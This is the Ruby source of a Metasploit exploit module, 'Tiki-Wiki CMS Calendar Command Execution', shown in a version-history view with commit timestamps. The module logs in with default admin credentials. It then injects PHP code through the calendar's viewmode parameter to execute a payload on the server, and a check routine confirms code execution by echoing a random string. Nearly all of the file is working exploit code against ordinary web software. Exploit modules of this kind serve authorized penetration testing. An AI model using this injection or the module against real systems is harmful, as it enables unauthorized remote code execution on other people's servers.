metasploit-framework/modules/exploits/linux/http/tiki_calendar_exec.rb

153 lines
5.0 KiB
Ruby
Raw Normal View History

2016-06-18 17:11:11 +00:00
##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
2017-07-14 07:19:50 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-06-18 17:11:11 +00:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2016-06-18 17:11:11 +00:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Tiki-Wiki CMS Calendar Command Execution',
'Description' => %q(
2016-06-19 18:35:27 +00:00
Tiki-Wiki CMS's calendar module contains a remote code execution
2016-06-18 17:11:11 +00:00
vulnerability within the viewmode GET parameter.
The calendar module is NOT enabled by default. If enabled,
2016-06-18 17:11:11 +00:00
the default permissions are set to NOT allow anonymous users
to access.
Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14
2016-06-18 17:11:11 +00:00
Verified/Tested against 14.1
),
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>', # module
'Dany Ouellet' # discovery
],
'References' =>
[
[ 'EDB', '39965' ],
[ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki']
],
'License' => MSF_LICENSE,
'Platform' => %w( php ),
'Privileged' => false,
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 06 2016'
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']),
OptString.new('USERNAME', [ true, 'Username of a user with calendar access', 'admin']),
OptString.new('PASSWORD', [ true, 'Password of a user with calendar access', 'admin'])
2016-06-18 17:11:11 +00:00
], self.class
)
end
# returns cookie regardless of outcome
def authenticate
begin
# get a cookie to start with
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'),
'method' => 'GET'
)
if res && res.code == 404
fail_with(Failure::Unknown, 'Target does not have tiki-login_scr.php')
end
2016-06-19 18:35:27 +00:00
cookie = res ? res.get_cookies : ''
2016-06-18 17:11:11 +00:00
# if we have creds, login with them
vprint_status('Attempting Login')
2016-06-20 00:24:54 +00:00
# the bang on the cgi will follow the redirect we receive on a good login
res = send_request_cgi!(
2016-06-18 17:11:11 +00:00
'uri' => normalize_uri(target_uri.path, 'tiki-login.php'),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' =>
{
'user' => datastore['USERNAME'],
'pass' => datastore['PASSWORD'],
'login' => '',
'stay_in_ssl_mode_present' => 'y',
'stay_in_ssl_mode' => 'n'
}
)
2016-06-20 00:24:54 +00:00
# double check auth worked and we got a Log out on the page.
# at times I got it to auth, but then it would give permission errors
# so we want to try to double check everything is good
if res && res.body !~ /Log out/
2016-06-18 17:11:11 +00:00
fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
end
2017-07-19 11:48:52 +00:00
vprint_good("Login Successful")
2016-06-18 17:11:11 +00:00
return cookie
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
# sends the calendar packet, returns the HTTP response
def send_calendar_packet(cookie, data)
2016-06-18 17:11:11 +00:00
begin
return send_request_cgi(
2016-06-18 17:11:11 +00:00
'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'),
'method' => 'GET',
'cookie' => cookie,
'vars_get' =>
{
'viewmode' => "';#{data};$a='"
2016-06-18 17:11:11 +00:00
}
)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
end
# Version numbers are post auth, so we send a print statement w/
# 10 random characters and check for it in the response
def check
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
cookie = authenticate
end
flag = Rex::Text.rand_text_alpha(10)
res = send_calendar_packet(cookie, "print(#{flag})")
if res
if res.body =~ /You do not have permission to view the calendar/i
2016-06-18 17:11:11 +00:00
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
elsif res.body =~ />#{flag}</
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
2016-06-18 17:11:11 +00:00
end
end
end
def exploit
if datastore['USERNAME'] && !datastore['USERNAME'].blank?
cookie = authenticate
end
vprint_status('Sending malicious calendar view packet')
res = send_calendar_packet(cookie, payload.encoded)
if res && res.body =~ /You do not have permission to view the calendar/i
fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required")
2016-06-18 17:11:11 +00:00
end
end
end